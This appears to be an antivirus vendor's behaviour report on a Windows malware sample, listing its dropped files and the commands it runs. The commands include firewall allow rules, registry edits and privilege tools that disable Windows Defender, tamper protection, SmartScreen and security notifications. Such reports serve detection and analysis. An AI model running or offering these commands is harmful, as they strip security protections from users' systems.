Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Security Center
- Windows Defender
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=apbypcuwkcwkmqi dir=in action=allow program="%TEMP%\nsz760A.tmp\apbypcuwkcwkmqi.exe" enable=yes profile=public,private
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=apbypcuwkcwkmqi dir=out action=allow program="%TEMP%\nsz760A.tmp\apbypcuwkcwkmqi.exe" enable=yes profile=public,private
Launches a large number of processes
Modifies file system
Creates the following files
- %TEMP%\nsz760a.tmp\nsexec.dll
- %WINDIR%\temp\aut974f.tmp
- %TEMP%\zjxjihr
- %TEMP%\aut92ec.tmp
- %WINDIR%\temp\voondgv
- %WINDIR%\temp\aut9250.tmp
- %WINDIR%\temp\eudownc
- %WINDIR%\temp\aut8f63.tmp
- %TEMP%\bzdvxzi
- %TEMP%\aut8c28.tmp
- %WINDIR%\temp\nrveeyj
- %WINDIR%\temp\aut8b8c.tmp
- %WINDIR%\temp\mtwcchp
- %WINDIR%\temp\aut8ad1.tmp
- %TEMP%\vbhkuev
- %TEMP%\aut8777.tmp
- %WINDIR%\temp\cntwpzs
- %WINDIR%\temp\rwpqukk
- %WINDIR%\temp\autad10.tmp
- %TEMP%\aut9848.tmp
- %WINDIR%\temp\cxrzrze
- %WINDIR%\temp\autab1d.tmp
- %TEMP%\lbskces
- %TEMP%\auta708.tmp
- %WINDIR%\temp\onmvlzr
- %WINDIR%\temp\auta6ba.tmp
- %WINDIR%\temp\tybbmaw
- %WINDIR%\temp\auta62d.tmp
- %WINDIR%\temp\nnyadbc
- %WINDIR%\temp\npgrdsj
- %WINDIR%\temp\aut9da5.tmp
- %TEMP%\khzxqlx
- %WINDIR%\temp\auta10f.tmp
- %TEMP%\aut9e70.tmp
- %TEMP%\arobylt
- %WINDIR%\temp\thnaahb
- %WINDIR%\temp\aut979d.tmp
- %WINDIR%\temp\aut85e1.tmp
- %WINDIR%\temp\aut6eb9.tmp
- %WINDIR%\temp\aut6bbd.tmp
- %TEMP%\lusvyrn
- %TEMP%\aut6a37.tmp
- %WINDIR%\temp\ukbrhkq
- %WINDIR%\temp\aut691e.tmp
- %TEMP%\fqoeppq
- %TEMP%\aut6364.tmp
- %WINDIR%\temp\qhmkxck
- %WINDIR%\temp\aut62c8.tmp
- %TEMP%\ckffpba
- %TEMP%\aut5db9.tmp
- %TEMP%\nsz760a.tmp\bn1.bat
- %TEMP%\nsz760a.tmp\bn.bat
- %TEMP%\nsz760a.tmp\setacl64.exe
- %TEMP%\nsz760a.tmp\powerrun64.exe
- %WINDIR%\temp\cohzmkr
- %WINDIR%\temp\qxnbgny
- %WINDIR%\temp\aut847a.tmp
- %WINDIR%\temp\aut6ff1.tmp
- %TEMP%\xubrqra
- %TEMP%\aut81fb.tmp
- %WINDIR%\temp\aouclfg
- %WINDIR%\temp\aut8008.tmp
- %WINDIR%\temp\wdbwcpe
- %WINDIR%\temp\aut7d59.tmp
- %TEMP%\pyirqgl
- %TEMP%\aut7b28.tmp
- %WINDIR%\temp\zdljtgk
- %WINDIR%\temp\aut79a2.tmp
- %WINDIR%\temp\nzpbqhc
- %WINDIR%\temp\aut755e.tmp
- %TEMP%\fhxxbwp
- %TEMP%\aut732c.tmp
- %WINDIR%\temp\pckktxl
- %WINDIR%\temp\sbxwpnm
- %WINDIR%\temp\bgsgmul
Deletes the following files
- %TEMP%\aut5db9.tmp
- %WINDIR%\temp\cntwpzs
- %WINDIR%\temp\aut974f.tmp
- %TEMP%\zjxjihr
- %TEMP%\aut92ec.tmp
- %WINDIR%\temp\voondgv
- %WINDIR%\temp\rwpqukk
- %WINDIR%\temp\aut9250.tmp
- %WINDIR%\temp\aut8f63.tmp
- %TEMP%\bzdvxzi
- %TEMP%\aut8c28.tmp
- %WINDIR%\temp\nrveeyj
- %WINDIR%\temp\aut8b8c.tmp
- %WINDIR%\temp\mtwcchp
- %WINDIR%\temp\eudownc
- %WINDIR%\temp\wdbwcpe
- %TEMP%\aut9848.tmp
- %WINDIR%\temp\cxrzrze
- %WINDIR%\temp\autab1d.tmp
- %TEMP%\lbskces
- %TEMP%\auta708.tmp
- %WINDIR%\temp\onmvlzr
- %WINDIR%\temp\auta6ba.tmp
- %WINDIR%\temp\aut8ad1.tmp
- %WINDIR%\temp\aut979d.tmp
- %WINDIR%\temp\npgrdsj
- %TEMP%\khzxqlx
- %WINDIR%\temp\nnyadbc
- %WINDIR%\temp\aut9da5.tmp
- %WINDIR%\temp\auta10f.tmp
- %TEMP%\aut9e70.tmp
- %WINDIR%\temp\auta62d.tmp
- %TEMP%\arobylt
- %TEMP%\vbhkuev
- %TEMP%\aut8777.tmp
- %WINDIR%\temp\thnaahb
- %WINDIR%\temp\ukbrhkq
- %TEMP%\ckffpba
- %WINDIR%\temp\aut62c8.tmp
- %WINDIR%\temp\qhmkxck
- %TEMP%\aut6364.tmp
- %TEMP%\fqoeppq
- %WINDIR%\temp\autad10.tmp
- %WINDIR%\temp\aut691e.tmp
- %WINDIR%\temp\pckktxl
- %TEMP%\lusvyrn
- %WINDIR%\temp\aut6bbd.tmp
- %WINDIR%\temp\cohzmkr
- %WINDIR%\temp\aut6eb9.tmp
- %WINDIR%\temp\qxnbgny
- %TEMP%\aut6a37.tmp
- %WINDIR%\temp\tybbmaw
- %TEMP%\aut732c.tmp
- %WINDIR%\temp\nzpbqhc
- %TEMP%\fhxxbwp
- %WINDIR%\temp\aut85e1.tmp
- %WINDIR%\temp\sbxwpnm
- %WINDIR%\temp\aut847a.tmp
- %TEMP%\xubrqra
- %TEMP%\aut81fb.tmp
- %WINDIR%\temp\aut755e.tmp
- %WINDIR%\temp\aouclfg
- %WINDIR%\temp\aut6ff1.tmp
- %WINDIR%\temp\aut7d59.tmp
- %TEMP%\pyirqgl
- %TEMP%\aut7b28.tmp
- %WINDIR%\temp\zdljtgk
- %WINDIR%\temp\aut79a2.tmp
- %WINDIR%\temp\aut8008.tmp
- %WINDIR%\temp\bgsgmul
Miscellaneous
Creates and executes the following
- '%TEMP%\nsz760a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
- '%TEMP%\nsz760a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
- '%TEMP%\nsz760a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
- '%TEMP%\nsz760a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
- '%TEMP%\nsz760a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
- '%TEMP%\nsz760a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
- '%TEMP%\nsz760a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
Executes the following
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
- '%WINDIR%\syswow64\reg.exe' add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsz760A.tmp\bn1.bat
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsz760A.tmp\bn.bat
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Get-MpPreference"
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
